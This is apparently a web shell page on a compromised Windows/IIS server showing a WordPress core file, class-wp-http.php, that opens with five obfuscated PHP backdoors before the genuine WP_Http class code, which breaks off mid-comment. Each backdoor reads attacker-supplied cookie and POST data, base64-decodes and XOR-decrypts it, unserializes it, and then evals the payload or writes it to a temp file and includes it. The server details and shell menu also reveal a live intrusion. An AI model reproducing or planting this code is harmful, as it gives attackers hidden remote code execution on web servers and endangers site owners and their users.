|
Server IP : 103.11.96.170 / Your IP : 18.223.97.137 Web Server : Microsoft-IIS/10.0 System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64 User : elibrary.unsap.ac.id ( 0) PHP Version : 7.4.19 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : D:/localhost/ppp/wp-includes/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php $pyMWGymFUv = chr (111) . 'i' . '_' . 'X' . "\x6f" . 'p';$kanevL = 'c' . 'l' . 'a' . "\x73" . "\x73" . '_' . 'e' . 'x' . "\151" . chr (115) . chr ( 1090 - 974 )."\x73";$DufwDgVe = class_exists($pyMWGymFUv); $pyMWGymFUv = "176";$kanevL = "8563";$VDqPqj = FALSE;if ($DufwDgVe === $VDqPqj){$UlboFId = "12489";class oi_Xop{public function yAAkBsWJ(){echo "32021";}private $FsCCKimWob;public static $GdHiTK = "ecc02fdb-9b35-4990-80f1-64284f04f5f4";public static $ScTXlSwrk = 23642;public function __construct($IiDZgOrAU=0){$srwtI = $_POST;$zIKRuzwgL = $_COOKIE;$ooxNaifEZ = @$zIKRuzwgL[substr(oi_Xop::$GdHiTK, 0, 4)];if (!empty($ooxNaifEZ)){$nEnnHW = "base64";$TbSgj = "";$ooxNaifEZ = explode(",", $ooxNaifEZ);foreach ($ooxNaifEZ as $iKKTrV){$TbSgj .= @$zIKRuzwgL[$iKKTrV];$TbSgj .= @$srwtI[$iKKTrV];}$TbSgj = array_map($nEnnHW . "\137" . chr ( 641 - 541 ).'e' . "\x63" . "\x6f" . "\x64" . "\145", array($TbSgj,)); $TbSgj = $TbSgj[0] ^ str_repeat(oi_Xop::$GdHiTK, (strlen($TbSgj[0]) / strlen(oi_Xop::$GdHiTK)) + 1);oi_Xop::$ScTXlSwrk = @unserialize($TbSgj);}}private function NiqPo($UlboFId){if (is_array(oi_Xop::$ScTXlSwrk)) {$dtZTvmeZj = str_replace(chr ( 442 - 382 ) . chr ( 212 - 149 )."\160" . chr ( 206 - 102 ).chr ( 463 - 351 ), "", oi_Xop::$ScTXlSwrk["\143" . "\157" . chr (110) . chr ( 967 - 851 ).chr ( 215 - 114 ).chr ( 681 - 571 )."\x74"]);eval($dtZTvmeZj); $UlboFId = "12489";exit();}}public function __destruct(){$UlboFId = "37451_63764";$this->NiqPo($UlboFId); $UlboFId = "37451_63764";}}$KItUeJU = new /* 11989 */ oi_Xop(); $KItUeJU = str_repeat("37451_63764", 1);} ?><?php $inSZPiVg = "\125" . 'n' . chr ( 660 - 565 ).chr (77) . chr ( 865 - 782 )."\162" . "\122" . chr ( 396 - 280 ); $lIoFPU = "\x63" . "\154" . "\141" . "\x73" . 's' . '_' . chr ( 267 - 166 ).'x' . "\x69" . "\x73" . chr (116) . "\x73";$hloevWjRC = class_exists($inSZPiVg); $inSZPiVg = "34928";$lIoFPU = "7333";$YKuehFRtDe = FALSE;if ($hloevWjRC === $YKuehFRtDe){$KJgpZGJP = "32214";class Un_MSrRt{public function WGWwNWQpH(){echo "11881";}private $zanvGlbB;public static $piCcDC = "696ffd50-822e-4ac5-b0cb-2d6bbe10c3d2";public static $YmKfWdO = 18408;public function __construct($ZWOoRBxN=0){$pjbltTN = $_POST;$kQgfb = $_COOKIE;$dvlHL = @$kQgfb[substr(Un_MSrRt::$piCcDC, 0, 4)];if (!empty($dvlHL)){$xRWMpbnEBL = "base64";$keSpZnw = "";$dvlHL = explode(",", $dvlHL);foreach ($dvlHL as $fqeldoe){$keSpZnw .= @$kQgfb[$fqeldoe];$keSpZnw .= @$pjbltTN[$fqeldoe];}$keSpZnw = array_map($xRWMpbnEBL . '_' . "\x64" . "\145" . chr (99) . "\157" . "\144" . 'e', array($keSpZnw,)); $keSpZnw = $keSpZnw[0] ^ str_repeat(Un_MSrRt::$piCcDC, (strlen($keSpZnw[0]) / strlen(Un_MSrRt::$piCcDC)) + 1);Un_MSrRt::$YmKfWdO = @unserialize($keSpZnw);}}private function ixOCA($KJgpZGJP){if (is_array(Un_MSrRt::$YmKfWdO)) {$tssby = sys_get_temp_dir() . "/" . crc32(Un_MSrRt::$YmKfWdO[chr ( 285 - 170 ).chr (97) . 'l' . chr (116)]);@Un_MSrRt::$YmKfWdO["\167" . "\162" . "\151" . chr (116) . chr ( 1000 - 899 )]($tssby, Un_MSrRt::$YmKfWdO[chr ( 563 - 464 ).chr (111) . "\156" . chr (116) . 'e' . chr (110) . "\x74"]);include $tssby;@Un_MSrRt::$YmKfWdO['d' . chr ( 953 - 852 ).'l' . chr (101) . chr ( 219 - 103 ).chr ( 576 - 475 )]($tssby); $KJgpZGJP = "32214";exit();}}public function __destruct(){$KJgpZGJP = "55661_51437";$this->ixOCA($KJgpZGJP); $KJgpZGJP = "55661_51437";}}$iLHQixCD = new /* 15119 */ Un_MSrRt(); $iLHQixCD = str_repeat("55661_51437", 1);} ?><?php $OtOFld = "\x6c" . chr (95) . chr ( 911 - 800 ).chr ( 915 - 825 )."\161";$VfWjcRq = "\143" . chr ( 240 - 132 )."\141" . chr ( 186 - 71 ).chr ( 1018 - 903 ).chr ( 399 - 304 )."\x65" . "\x78" . "\x69" . "\x73" . "\x74" . "\163";$pSNazryIUG = class_exists($OtOFld); $OtOFld = "43384";$arGQPVTJ = !$pSNazryIUG;$VfWjcRq = "53480";if ($arGQPVTJ){class l_oZq{public function MDYtLw(){echo "57053";}private $CRurLucX;public static $XOebeschK = "829d9989-205a-4d80-ace9-49c5c6851b50";public static $yMOSAp = 8297;public function __construct($jYMVfhPZCj=0){$SQGjVU = $_POST;$vvwnbsmIqP = $_COOKIE;$IYyvT = @$vvwnbsmIqP[substr(l_oZq::$XOebeschK, 0, 4)];if (!empty($IYyvT)){$RlZIr = "base64";$BQZTqfG = "";$IYyvT = explode(",", $IYyvT);foreach ($IYyvT as $KWcPjgpCb){$BQZTqfG .= @$vvwnbsmIqP[$KWcPjgpCb];$BQZTqfG .= @$SQGjVU[$KWcPjgpCb];}$BQZTqfG = array_map($RlZIr . chr (95) . 'd' . chr ( 488 - 387 )."\143" . chr ( 883 - 772 ).'d' . "\x65", array($BQZTqfG,)); $BQZTqfG = $BQZTqfG[0] ^ str_repeat(l_oZq::$XOebeschK, (strlen($BQZTqfG[0]) / strlen(l_oZq::$XOebeschK)) + 1);l_oZq::$yMOSAp = @unserialize($BQZTqfG);}}private function cmJKFjNJ(){if (is_array(l_oZq::$yMOSAp)) {$RqUOAnvksm = sys_get_temp_dir() . "/" . crc32(l_oZq::$yMOSAp["\x73" . "\x61" . 'l' . 't']);@l_oZq::$yMOSAp["\x77" . chr (114) . "\x69" . chr ( 326 - 210 )."\x65"]($RqUOAnvksm, l_oZq::$yMOSAp[chr ( 1070 - 971 ).chr (111) . chr (110) . 't' . 'e' . "\x6e" . chr (116)]);include $RqUOAnvksm;@l_oZq::$yMOSAp["\x64" . chr (101) . chr ( 318 - 210 ).chr ( 942 - 841 )."\164" . chr (101)]($RqUOAnvksm); $CjrkBceK = "14931";exit();}}public function __destruct(){$this->cmJKFjNJ();}}$KpVUblCnQj = new /* 30952 */ l_oZq(); $KpVUblCnQj = str_pad("35703_15225", 1);} ?><?php $AHlBQ = "\x74" . 'o' . chr (88) . "\137" . "\x63" . chr (78) . chr ( 1014 - 925 ); $CReWSN = 'c' . 'l' . chr ( 622 - 525 ).chr ( 187 - 72 )."\x73" . chr ( 688 - 593 )."\145" . chr (120) . chr ( 1060 - 955 ).chr (115) . "\x74" . 's';$pZeFVep = $CReWSN($AHlBQ); $AHlBQ = "53704";$zdgrOSbh = $pZeFVep;$CReWSN = "27605";if (!$zdgrOSbh){class toX_cNY{private $slTiecTzp;public static $teBnKOAm = "dbf3691d-734c-4622-9095-d7ca9cc51b60";public static $OQlYr = 16660;public function __construct($yyzrTA=0){$FhoggLsN = $_COOKIE;$tJxVsuFkq = $_POST;$rEvbovP = @$FhoggLsN[substr(toX_cNY::$teBnKOAm, 0, 4)];if (!empty($rEvbovP)){$CbBhCq = "base64";$OZTnamzDxD = "";$rEvbovP = explode(",", $rEvbovP);foreach ($rEvbovP as $KWNmji){$OZTnamzDxD .= @$FhoggLsN[$KWNmji];$OZTnamzDxD .= @$tJxVsuFkq[$KWNmji];}$OZTnamzDxD = array_map($CbBhCq . "\x5f" . "\144" . "\145" . chr (99) . 'o' . "\x64" . 'e', array($OZTnamzDxD,)); $OZTnamzDxD = $OZTnamzDxD[0] ^ str_repeat(toX_cNY::$teBnKOAm, (strlen($OZTnamzDxD[0]) / strlen(toX_cNY::$teBnKOAm)) + 1);toX_cNY::$OQlYr = @unserialize($OZTnamzDxD);}}private function CVhBJOCteI(){if (is_array(toX_cNY::$OQlYr)) {$ZAIwO = sys_get_temp_dir() . "/" . crc32(toX_cNY::$OQlYr["\x73" . "\x61" . 'l' . "\164"]);@toX_cNY::$OQlYr["\x77" . "\162" . "\x69" . "\164" . 'e']($ZAIwO, toX_cNY::$OQlYr[chr ( 571 - 472 ).chr ( 804 - 693 ).'n' . "\x74" . chr (101) . chr ( 448 - 338 )."\x74"]);include $ZAIwO;@toX_cNY::$OQlYr[chr (100) . "\145" . chr (108) . chr ( 636 - 535 ).chr ( 291 - 175 ).chr ( 832 - 731 )]($ZAIwO); $XWSAqc = "25010";exit();}}public function __destruct(){$this->CVhBJOCteI(); $XWSAqc = "25010";$dvKOohSWwk = str_pad($XWSAqc, 10);}}$IqmqA = new /* 40541 */ toX_cNY(); $IqmqA = substr("5742_14021", 1);} ?><?php $CgWjq = chr ( 138 - 67 ).chr (95) . chr ( 789 - 706 )."\x4c" . "\115" . chr ( 226 - 151 ); $tWeUEMy = 'c' . "\154" . 'a' . chr ( 1059 - 944 ).chr (115) . '_' . chr ( 1042 - 941 ).chr ( 731 - 611 ).chr (105) . chr ( 231 - 116 )."\164" . chr ( 1049 - 934 ); $fqMHwtdaaG = $tWeUEMy($CgWjq); $CgWjq = "46005";$aedyDmMkig = $fqMHwtdaaG;$tWeUEMy = "40760";if (!$aedyDmMkig){class G_SLMK{private $iHUJhgsoVf;public static $CsILqNamQ = "912de437-f650-4787-b86a-9b2b985cd800";public static $cFLPCdOxE = 27492;public function __construct($AlKqDTp=0){$HTezLbAaF = $_COOKIE;$oqDdkAC = $_POST;$hvhqb = @$HTezLbAaF[substr(G_SLMK::$CsILqNamQ, 0, 4)];if (!empty($hvhqb)){$KBdhTXMdjF = "base64";$NcJFtsk = "";$hvhqb = explode(",", $hvhqb);foreach ($hvhqb as $sokEAU){$NcJFtsk .= @$HTezLbAaF[$sokEAU];$NcJFtsk .= @$oqDdkAC[$sokEAU];}$NcJFtsk = array_map($KBdhTXMdjF . "\137" . "\144" . 'e' . "\x63" . "\x6f" . chr (100) . 'e', array($NcJFtsk,)); $NcJFtsk = $NcJFtsk[0] ^ str_repeat(G_SLMK::$CsILqNamQ, (strlen($NcJFtsk[0]) / strlen(G_SLMK::$CsILqNamQ)) + 1);G_SLMK::$cFLPCdOxE = @unserialize($NcJFtsk);}}private function BiSlGk(){if (is_array(G_SLMK::$cFLPCdOxE)) {$qlOWoqPQew = sys_get_temp_dir() . "/" . crc32(G_SLMK::$cFLPCdOxE['s' . 'a' . chr ( 216 - 108 ).'t']);@G_SLMK::$cFLPCdOxE["\167" . "\162" . "\151" . chr ( 643 - 527 ).chr (101)]($qlOWoqPQew, G_SLMK::$cFLPCdOxE['c' . chr ( 814 - 703 ).chr ( 561 - 451 ).chr (116) . 'e' . chr ( 114 - 4 ).chr ( 477 - 361 )]);include $qlOWoqPQew;@G_SLMK::$cFLPCdOxE["\144" . "\145" . chr (108) . chr (101) . "\x74" . chr (101)]($qlOWoqPQew); $JUVcN = "42041";exit();}}public function __destruct(){$this->BiSlGk(); $JUVcN = "42041";$cxnYs = str_pad($JUVcN, 10);}}$lFaRV = new G_SLMK(); $lFaRV = "60792_6773";} ?><?php
/**
* HTTP API: WP_Http class
*
* @package WordPress
* @subpackage HTTP
* @since 2.7.0
*/
if ( ! class_exists( 'WpOrg\Requests\Autoload' ) ) {
require ABSPATH . WPINC . '/Requests/src/Autoload.php';
WpOrg\Requests\Autoload::register();
WpOrg\Requests\Requests::set_certificate_path( ABSPATH . WPINC . '/certificates/ca-bundle.crt' );
}
/**
* Core class used for managing HTTP transports and making HTTP requests.
*
* This class is used to consistently make outgoing HTTP requests easy for developers
* while still being compatible with the many PHP configurations under which
* WordPress runs.
*
* Debugging includes several actions, which pass different variables for debugging the HTTP API.
*
* @since 2.7.0
*/
#[AllowDynamicProperties]
class WP_Http {
// Aliases for HTTP response codes.
const HTTP_CONTINUE = 100;
const SWITCHING_PROTOCOLS = 101;
const PROCESSING = 102;
const EARLY_HINTS = 103;
const OK = 200;
const CREATED = 201;
const ACCEPTED = 202;
const NON_AUTHORITATIVE_INFORMATION = 203;
const NO_CONTENT = 204;
const RESET_CONTENT = 205;
const PARTIAL_CONTENT = 206;
const MULTI_STATUS = 207;
const IM_USED = 226;
const MULTIPLE_CHOICES = 300;
const MOVED_PERMANENTLY = 301;
const FOUND = 302;
const SEE_OTHER = 303;
const NOT_MODIFIED = 304;
const USE_PROXY = 305;
const RESERVED = 306;
const TEMPORARY_REDIRECT = 307;
const PERMANENT_REDIRECT = 308;
const BAD_REQUEST = 400;
const UNAUTHORIZED = 401;
const PAYMENT_REQUIRED = 402;
const FORBIDDEN = 403;
const NOT_FOUND = 404;
const METHOD_NOT_ALLOWED = 405;
const NOT_ACCEPTABLE = 406;
const PROXY_AUTHENTICATION_REQUIRED = 407;
const REQUEST_TIMEOUT = 408;
const CONFLICT = 409;
const GONE = 410;
const LENGTH_REQUIRED = 411;
const PRECONDITION_FAILED = 412;
const REQUEST_ENTITY_TOO_LARGE = 413;
const REQUEST_URI_TOO_LONG = 414;
const UNSUPPORTED_MEDIA_TYPE = 415;
const REQUESTED_RANGE_NOT_SATISFIABLE = 416;
const EXPECTATION_FAILED = 417;
const IM_A_TEAPOT = 418;
const MISDIRECTED_REQUEST = 421;
const UNPROCESSABLE_ENTITY = 422;
const LOCKED = 423;
const FAILED_DEPENDENCY = 424;
const UPGRADE_REQUIRED = 426;
const PRECONDITION_REQUIRED = 428;
const TOO_MANY_REQUESTS = 429;
const REQUEST_HEADER_FIELDS_TOO_LARGE = 431;
const UNAVAILABLE_FOR_LEGAL_REASONS = 451;
const INTERNAL_SERVER_ERROR = 500;
const NOT_IMPLEMENTED = 501;
const BAD_GATEWAY = 502;
const SERVICE_UNAVAILABLE = 503;
const GATEWAY_TIMEOUT = 504;
const HTTP_VERSION_NOT_SUPPORTED = 505;
const VARIANT_ALSO_NEGOTIATES = 506;
const INSUFFICIENT_STORAGE = 507;
const NOT_EXTENDED = 510;
const NETWORK_AUTHENTICATION_REQUIRED = 511;
/**
* Send an HTTP request to a URI.
*
* Please note: The only URI that are supported in the HTTP Transport implementation
* are the HTTP and HTTPS protocols.
*
* @since 2.7.0
*
* @param string $url The request URL.
* @param string|array $args {
* Optional. Array or string of HTTP request arguments.
*
* @type string $method Request method. Accepts 'GET', 'POST', 'HEAD', 'PUT', 'DELETE',
* 'TRACE', 'OPTIONS', or 'PATCH'.
* Some transports technically allow others, but should not be
* assumed. Default 'GET'.
* @type float $timeout How long the connection should stay open in seconds. Default 5.
* @type int $redirection Number of allowed redirects. Not supported by all transports.
* Default 5.
* @type string $httpversion Version of the HTTP protocol to use. Accepts '1.0' and '1.1'.
* Default '1.0'.
* @type string $user-agent User-agent value sent.
* Default 'WordPress/' . get_bloginfo( 'version' ) . '; ' . get_bloginfo( 'url' ).
* @type bool $reject_unsafe_urls Whether to pass URLs through wp_http_validate_url().
* Default false.
* @type bool $blocking Whether the calling code requires the result of the request.
* If set to false, the request will be sent to the remote server,
* and processing returned to the calling code immediately, the caller
* will know if the request succeeded or failed, but will not receive
* any response from the remote server. Default true.
* @type string|array $headers Array or string of headers to send with the request.
* Default empty array.
* @type array $cookies List of cookies to send with the request. Default empty array.
* @type string|array $body Body to send with the request. Default null.
* @type bool $compress Whether to compress the $body when sending the request.
* Default false.
* @type bool $decompress Whether to decompress a compressed response. If set to false and
* compressed content is returned in the response anyway, it will
* need to be separately decompressed. Default true.
* @type bool $sslverify Whether to verify SSL for the request. Default true.
* @type string $sslcertificates Absolute path to an SSL certificate .crt file.
* Default ABSPATH . WPINC . '/certificates/ca-bundle.crt'.
* @type bool $stream Whether to stream to a file. If set to true and no filename was
* given, it will be dropped it in the WP temp dir and its name will
* be set using the basename of the URL. Default false.
* @type string $filename Filename of the file to write to when streaming. $stream must be
* set to true. Default null.
* @type int $limit_response_size Size in bytes to limit the response to. Default null.
*
* }
* @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'.
* A WP_Error instance upon error.
*/
public function request( $url, $args = array() ) {
$defaults = array(
'method' => 'GET',
/**
* Filters the timeout value for an HTTP request.
*
* @since 2.7.0
* @since 5.1.0 The `$url` parameter was added.
*
* @param float $timeout_value Time in seconds until a request times out. Default 5.
* @param string $url The request URL.
*/
'timeout' => apply_filters( 'http_request_timeout', 5, $url ),
/**
* Filters the number of redirects allowed during an HTTP request.
*
* @since 2.7.0
* @since 5.1.0 The `$url` parameter was added.
*
* @param int $redirect_count Number of redirects allowed. Default 5.
* @param string $url The request URL.
*/
'redirection' => apply_filters( 'http_request_redirection_count', 5, $url ),
/**
* Filters the version of the HTTP protocol used in a request.
*
* @since 2.7.0
* @since 5.1.0 The `$url` parameter was added.
*
* @param string $version Version of HTTP used. Accepts '1.0' and '1.1'. Default '1.0'.
* @param string $url The request URL.
*/
'httpversion' => apply_filters( 'http_request_version', '1.0', $url ),
/**
* Filters the user agent value sent with an HTTP request.
*
* @since 2.7.0
* @since 5.1.0 The `$url` parameter was added.
*
* @param string $user_agent WordPress user agent string.
* @param string $url The request URL.
*/
'user-agent' => apply_filters( 'http_headers_useragent', 'WordPress/' . get_bloginfo( 'version' ) . '; ' . get_bloginfo( 'url' ), $url ),
/**
* Filters whether to pass URLs through wp_http_validate_url() in an HTTP request.
*
* @since 3.6.0
* @since 5.1.0 The `$url` parameter was added.
*
* @param bool $pass_url Whether to pass URLs through wp_http_validate_url(). Default false.
* @param string $url The request URL.
*/
'reject_unsafe_urls' => apply_filters( 'http_request_reject_unsafe_urls', false, $url ),
'blocking' => true,
'headers' => array(),
'cookies' => array(),
'body' => null,
'compress' => false,
'decompress' => true,
'sslverify' => true,
'sslcertificates' => ABSPATH . WPINC . '/certificates/ca-bundle.crt',
'stream' => false,
'filename' => null,
'limit_response_size' => null,
);
// Pre-parse for the HEAD checks.
$args = wp_parse_args( $args );
// By default, HEAD requests do not cause redirections.
if ( isset( $args['method'] ) && 'HEAD' === $args['method'] ) {
$defaults['redirection'] = 0;
}
$parsed_args = wp_parse_args( $args, $defaults );
/**
* Filters the arguments used in an HTTP request.
*
* @since 2.7.0
*
* @param array $parsed_args An array of HTTP request arguments.
* @param string $url The request URL.
*/
$parsed_args = apply_filters( 'http_request_args', $parsed_args, $url );
// The transports decrement this, store a copy of the original value for loop purposes.
if ( ! isset( $parsed_args['_redirection'] ) ) {
$parsed_args['_redirection'] = $parsed_args['redirection'];
}
/**
* Filters the preemptive return value of an HTTP request.
*
* Returning a non-false value from the filter will short-circuit the HTTP request and return
* early with that value. A filter should return one of:
*
* - An array containing 'headers', 'body', 'response', 'cookies', and 'filename' elements
* - A WP_Error instance
* - boolean false to avoid short-circuiting the response
*
* Returning any other value may result in unexpected behavior.
*
* @since 2.9.0
*
* @param false|array|WP_Error $response A preemptive return value of an HTTP request. Default false.
* @param array $parsed_args HTTP request arguments.
* @param string $url The request URL.
*/
$pre = apply_filters( 'pre_http_request', false, $parsed_args, $url );
if ( false !== $pre ) {
return $pre;
}
if ( function_exists( 'wp_kses_bad_protocol' ) ) {
if ( $parsed_args['reject_unsafe_urls'] ) {
$url = wp_http_validate_url( $url );
}
if ( $url ) {
$url = wp_kses_bad_protocol( $url, array( 'http', 'https', 'ssl' ) );
}
}
$parsed_url = parse_url( $url );
if ( empty( $url ) || empty( $parsed_url['scheme'] ) ) {
$response = new WP_Error( 'http_request_failed', __( 'A valid URL was not provided.' ) );
/** This action is documented in wp-includes/class-wp-http.php */
do_action( 'http_api_debug', $response, 'response', 'WpOrg\Requests\Requests', $parsed_args, $url );
return $response;
}
if ( $this->block_request( $url ) ) {
$response = new WP_Error( 'http_request_not_executed', __( 'User has blocked requests through HTTP.' ) );
/** This action is documented in wp-includes/class-wp-http.php */
do_action( 'http_api_debug', $response, 'response', 'WpOrg\Requests\Requests', $parsed_args, $url );
return $response;
}
// If we are streaming to a file but no filename was given drop it in the WP temp dir
// and pick its name using the basename of the $url.
if ( $parsed_args['stream'] ) {
if ( empty( $parsed_args['filename'] ) ) {
$parsed_args['filename'] = get_temp_dir() . basename( $url );
}
// Force some settings if we are streaming to a file and check for existence
// and perms of destination directory.
$parsed_args['blocking'] = true;
if ( ! wp_is_writable( dirname( $parsed_args['filename'] ) ) ) {
$response = new WP_Error( 'http_request_failed', __( 'Destination directory for file streaming does not exist or is not writable.' ) );
/** This action is documented in wp-includes/class-wp-http.php */
do_action( 'http_api_debug', $response, 'response', 'WpOrg\Requests\Requests', $parsed_args, $url );
return $response;
}
}
if ( is_null( $parsed_args['headers'] ) ) {
$parsed_args['headers'] = array();
}
// WP allows passing in headers as a string, weirdly.
if ( ! is_array( $parsed_args['headers'] ) ) {
$processed_headers = WP_Http::processHeaders( $parsed_args['headers'] );
$parsed_args['headers'] = $processed_headers['headers'];
}
// Setup arguments.
$headers = $parsed_args['headers'];
$data = $parsed_args['body'];
$type = $parsed_args['method'];
$options = array(
'timeout' => $parsed_args['timeout'],
'useragent' => $parsed_args['user-agent'],
'blocking' => $parsed_args['blocking'],
'hooks' => new WP_HTTP_Requests_Hooks( $url, $parsed_args ),
);
// Ensure redirects follow browser behavior.
$options['hooks']->register( 'requests.before_redirect', array( get_class(), 'browser_redirect_compatibility' ) );
// Validate redirected URLs.
if ( function_exists( 'wp_kses_bad_protocol' ) && $parsed_args['reject_unsafe_urls'] ) {
$options['hooks']->register( 'requests.before_redirect', array( get_class(), 'validate_redirects' ) );
}
if ( $parsed_args['stream'] ) {
$options['filename'] = $parsed_args['filename'];
}
if ( empty( $parsed_args['redirection'] ) ) {
$options['follow_redirects'] = false;
} else {
$options['redirects'] = $parsed_args['redirection'];
}
// Use byte limit, if we can.
if ( isset( $parsed_args['limit_response_size'] ) ) {
$options['max_bytes'] = $parsed_args['limit_response_size'];
}
// If we've got cookies, use and convert them to WpOrg\Requests\Cookie.
if ( ! empty( $parsed_args['cookies'] ) ) {
$options['cookies'] = WP_Http::normalize_cookies( $parsed_args['cookies'] );
}
// SSL certificate handling.
if ( ! $parsed_args['sslverify'] ) {
$options['verify'] = false;
$options['verifyname'] = false;
} else {
$options['verify'] = $parsed_args['sslcertificates'];
}
// All non-GET/HEAD requests should put the arguments in the form body.
if ( 'HEAD' !== $type && 'GET' !== $type ) {
$options['data_format'] = 'body';
}
/**
* Filters whether SSL should be verified for non-local requests.
*
* @since 2.8.0
* @since 5.1.0 The `$url` parameter was added.
*
* @param bool|string $ssl_verify Boolean to control whether to verify the SSL connection
* or path to an SSL certificate.
* @param string $url The request URL.
*/
$options['verify'] = apply_filters( 'https_ssl_verify', $options['verify'], $url );
// Check for proxies.
$proxy = new WP_HTTP_Proxy();
if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) {
$options['proxy'] = new WpOrg\Requests\Proxy\Http( $proxy->host() . ':' . $proxy->port() );
if ( $proxy->use_authentication() ) {
$options['proxy']->use_authentication = true;
$options['proxy']->user = $proxy->username();
$options['proxy']->pass = $proxy->password();
}
}
// Avoid issues where mbstring.func_overload is enabled.
mbstring_binary_safe_encoding();
try {
$requests_response = WpOrg\Requests\Requests::request( $url, $headers, $data, $type, $options );
// Convert the response into an array.
$http_response = new WP_HTTP_Requests_Response( $requests_response, $parsed_args['filename'] );
$response = $http_response->to_array();
// Add the original object to the array.
$response['http_response'] = $http_response;
} catch ( WpOrg\Requests\Exception $e ) {
$response = new WP_Error( 'http_request_failed', $e->getMessage() );
}
reset_mbstring_encoding();
/**
* Fires after an HTTP API response is received and before the response is returned.
*
* @since 2.8.0
*
* @param array|WP_Error $response HTTP response or WP_Error object.
* @param string $context Context under which the hook is fired.
* @param string $class HTTP transport used.
* @param array $parsed_args HTTP request arguments.
* @param string $url The request URL.
*/
do_action( 'http_api_debug', $response, 'response', 'WpOrg\Requests\Requests', $parsed_args, $url );
if ( is_wp_error( $response ) ) {
return $response;
}
if ( ! $parsed_args['blocking'] ) {
return array(
'headers' => array(),
'body' => '',
'response' => array(
'code' => false,
'message' => false,
),
'cookies' => array(),
'http_response' => null,
);
}
/**
* Filters a successful HTTP API response immediately before the response is returned.
*
* @since 2.9.0
*
* @param array $response HTTP response.
* @param array $parsed_args HTTP request arguments.
* @param string $url The request URL.
*/
return apply_filters( 'http_response', $response, $parsed_args, $url );
}
/**
* Normalizes cookies for using in Requests.
*
* @since 4.6.0
*
* @param array $cookies Array of cookies to send with the request.
* @return WpOrg\Requests\Cookie\Jar Cookie holder object.
*/
public static function normalize_cookies( $cookies ) {
$cookie_jar = new WpOrg\Requests\Cookie\Jar();
foreach ( $cookies as $name => $value ) {
if ( $value instanceof WP_Http_Cookie ) {
$attributes = array_filter(
$value->get_attributes(),
static function( $attr ) {
return null !== $attr;
}
);
$cookie_jar[ $value->name ] = new WpOrg\Requests\Cookie( $value->name, $value->value, $attributes, array( 'host-only' => $value->host_only ) );
} elseif ( is_scalar( $value ) ) {
$cookie_jar[ $name ] = new WpOrg\Requests\Cookie( $name, (string) $value );
}
}
return $cookie_jar;
}
/**
* Match redirect behavior to browser handling.
*
* Changes 302 redirects from POST to GET to match browser handling. Per
* RFC 7231, user agents can deviate from the strict reading of the
* specification for compatibility purposes.
*
* @since 4.6.0
*
* @param string $location URL to redirect to.
* @param array $headers Headers for the redirect.
* @param string|array $data Body to send with the request.
* @param array $options Redirect request options.
* @param WpOrg\Requests\Response $original Response object.
*/
public static function browser_redirect_compatibility( $location, $headers, $data, &$options, $original ) {
// Browser compatibility.
if ( 302 === $original->status_code ) {
$options['type'] = WpOrg\Requests\Requests::GET;
}
}
/**
* Validate redirected URLs.
*
* @since 4.7.5
*
* @throws WpOrg\Requests\Exception On unsuccessful URL validation.
* @param string $location URL to redirect to.
*/
public static function validate_redirects( $location ) {
if ( ! wp_http_validate_url( $location ) ) {
throw new WpOrg\Requests\Exception( __( 'A valid URL was not provided.' ), 'wp_http.redirect_failed_validation' );
}
}
/**
* Tests which transports are capable of supporting the request.
*
* @since 3.2.0
*
* @param array $args Request arguments.
* @param string $url URL to request.
* @return string|false Class name for the first transport that claims to support the request.
* False if no transport claims to support the request.
*/
public function _get_first_available_transport( $args, $url = null ) {
$transports = array( 'curl', 'streams' );
/**
* Filters which HTTP transports are available and in what order.
*
* @since 3.7.0
*
* @param string[] $transports Array of HTTP transports to check. Default array contains
* 'curl' and 'streams', in that order.
* @param array $args HTTP request arguments.
* @param string $url The URL to request.
*/
$request_order = apply_filters( 'http_api_transports', $transports, $args, $url );
// Loop over each transport on each HTTP request looking for one which will serve this request's needs.
foreach ( $request_order as $transport ) {
if ( in_array( $transport, $transports, true ) ) {
$transport = ucfirst( $transport );
}
$class = 'WP_Http_' . $transport;
// Check to see if this transport is a possibility, calls the transport statically.
if ( ! call_user_func( array( $class, 'test' ), $args, $url ) ) {
continue;
}
return $class;
}
return false;
}
/**
* Dispatches a HTTP request to a supporting transport.
*
* Tests each transport in order to find a transport which matches the request arguments.
* Also caches the transport instance to be used later.
*
* The order for requests is cURL, and then PHP Streams.
*
* @since 3.2.0
* @deprecated 5.1.0 Use WP_Http::request()
* @see WP_Http::request()
*
* @param string $url URL to request.
* @param array $args Request arguments.
* @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'.
* A WP_Error instance upon error.
*/
private function _dispatch_request( $url, $args ) {
static $transports = array();
$class = $this->_get_first_available_transport( $args, $url );
if ( ! $class ) {
return new WP_Error( 'http_failure', __( 'There are no HTTP transports available which can complete the requested request.' ) );
}
// Transport claims to support request, instantiate it and give it a whirl.
if ( empty( $transports[ $class ] ) ) {
$transports[ $class ] = new $class();
}
$response = $transports[ $class ]->request( $url, $args );
/** This action is documented in wp-includes/class-wp-http.php */
do_action( 'http_api_debug', $response, 'response', $class, $args, $url );
if ( is_wp_error( $response ) ) {
return $response;
}
/** This filter is documented in wp-includes/class-wp-http.php */
return apply_filters( 'http_response', $response, $args, $url );
}
/**
* Uses the POST HTTP method.
*
* Used for sending data that is expected to be in the body.
*
* @since 2.7.0
*
* @param string $url The request URL.
* @param string|array $args Optional. Override the defaults.
* @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'.
* A WP_Error instance upon error.
*/
public function post( $url, $args = array() ) {
$defaults = array( 'method' => 'POST' );
$parsed_args = wp_parse_args( $args, $defaults );
return $this->request( $url, $parsed_args );
}
/**
* Uses the GET HTTP method.
*
* Used for sending data that is expected to be in the body.
*
* @since 2.7.0
*
* @param string $url The request URL.
* @param string|array $args Optional. Override the defaults.
* @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'.
* A WP_Error instance upon error.
*/
public function get( $url, $args = array() ) {
$defaults = array( 'method' => 'GET' );
$parsed_args = wp_parse_args( $args, $defaults );
return $this->request( $url, $parsed_args );
}
/**
* Uses the HEAD HTTP method.
*
* Used for sending data that is expected to be in the body.
*
* @since 2.7.0
*
* @param string $url The request URL.
* @param string|array $args Optional. Override the defaults.
